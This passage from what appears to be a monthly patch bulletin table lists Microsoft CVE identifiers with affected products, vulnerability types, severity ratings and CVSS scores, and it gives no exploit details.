No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege 